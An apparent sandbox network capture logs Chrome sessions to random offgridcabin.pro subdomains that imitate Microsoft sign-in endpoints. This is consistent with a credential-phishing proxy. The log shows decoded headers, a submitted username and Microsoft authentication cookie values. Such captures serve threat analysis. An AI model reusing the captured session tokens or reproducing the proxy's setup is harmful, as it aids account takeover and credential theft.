2025-01-13 20:53:21 UTC	1331	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 35 78 74 6b 71 6b 40 6f 66 73 6c 61 2e 6f 72 67 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 34 32 4b 77 30 73 6b 6f 4b 53 6b 6f 74 74 4c 58 4c 38 67 76 4b 6b 6e 4d 30 63 76 4e 54 43 37 4b 4c 38 35 50 4b 38 6e 50 79 38 6e 4d 53 39 56 4c 7a 73 5f 56 79 79 39 4b 7a 30 77 42 73 59 71 45 75 41 51 61 70 6c 6c Data Ascii: {"username":"5xtkqk@ofsla.org","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQapll
2025-01-13 20:53:22 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:22 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:22 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 38 33 61 39 36 38 30 2d 35 39 64 61 2d 34 36 63 30 2d 61 36 32 62 2d 38 35 33 31 35 38 33 63 61 38 35 66 0d 0a Data Ascii: Client-Request-Id: 183a9680-59da-46c0-a62b-8531583ca85f
2025-01-13 20:53:22 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:22 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-13 20:53:22 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:21 GMT
2025-01-13 20:53:22 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:22 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:22 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:22 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50016	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:22 UTC	532	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:22 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:22 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:22 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:22 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:22 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:22 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:22 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-13 20:53:22 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 32 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:22 GMT
2025-01-13 20:53:22 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 38 45 43 34 31 35 34 0d 0a Data Ascii: Etag: 0x8DB5C3F48EC4154
2025-01-13 20:53:22 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:47 GMT
2025-01-13 20:53:22 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50017	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:22 UTC	526	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:22 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:22 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:22 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:22 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:22 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:22 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:22 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-13 20:53:22 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 32 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:22 GMT
2025-01-13 20:53:22 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 30 34 38 32 34 42 0d 0a Data Ascii: Etag: 0x8DB5C3F4904824B
2025-01-13 20:53:22 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-13 20:53:22 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50023	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:22 UTC	1520	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:23 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:23 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:23 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:23 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-13 20:53:23 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 32 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:22 GMT
2025-01-13 20:53:23 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:23 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:23 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:23 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-13 20:53:23 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-13 20:53:23 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	50036	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 47 50 34 2f 63 30 55 6b 30 75 62 6a 7a 38 5a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 37 61 64 61 66 38 30 30 62 64 62 61 64 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kGP4/c0Uk0ubjz8Z.1Context: 537adaf800bdbadc
2025-01-13 20:53:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 20:53:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 47 50 34 2f 63 30 55 6b 30 75 62 6a 7a 38 5a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 37 61 64 61 66 38 30 30 62 64 62 61 64 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 6b 68 2b 66 32 54 59 54 4d 2f 44 63 65 61 58 50 74 45 4a 36 4c 6e 4f 4f 4f 61 39 50 49 43 70 6b 72 74 54 74 64 74 41 53 70 4d 4a 72 6a 50 61 47 2b 31 38 54 38 6b 59 7a 4c 57 52 6a 64 47 4c 41 62 55 59 78 51 35 5a 6f 4c 69 43 44 65 45 51 67 63 71 36 71 4b 62 32 68 4b 70 57 73 52 31 2f 4b 57 6d 61 38 38 6d 6e 5a 45 47 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kGP4/c0Uk0ubjz8Z.2Context: 537adaf800bdbadc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefkh+f2TYTM/DceaXPtEJ6LnOOOa9PICpkrtTtdtASpMJrjPaG+18T8kYzLWRjdGLAbUYxQ5ZoLiCDeEQgcq6qKb2hKpWsR1/KWma88mnZEGp
2025-01-13 20:53:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6b 47 50 34 2f 63 30 55 6b 30 75 62 6a 7a 38 5a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 37 61 64 61 66 38 30 30 62 64 62 61 64 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: kGP4/c0Uk0ubjz8Z.3Context: 537adaf800bdbadc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 20:53:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 20:53:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 2b 56 63 48 6f 75 67 58 45 53 65 79 35 75 5a 33 42 55 2b 30 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: s+VcHougXESey5uZ3BU+0g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50080	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:37 UTC	1806	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50082	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:42 UTC	839	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1 Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	50086	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 75 6a 51 66 78 39 46 78 6b 32 71 63 64 4b 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 35 35 31 37 30 35 30 30 39 63 64 64 34 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3ujQfx9Fxk2qcdKu.1Context: 14551705009cdd4e
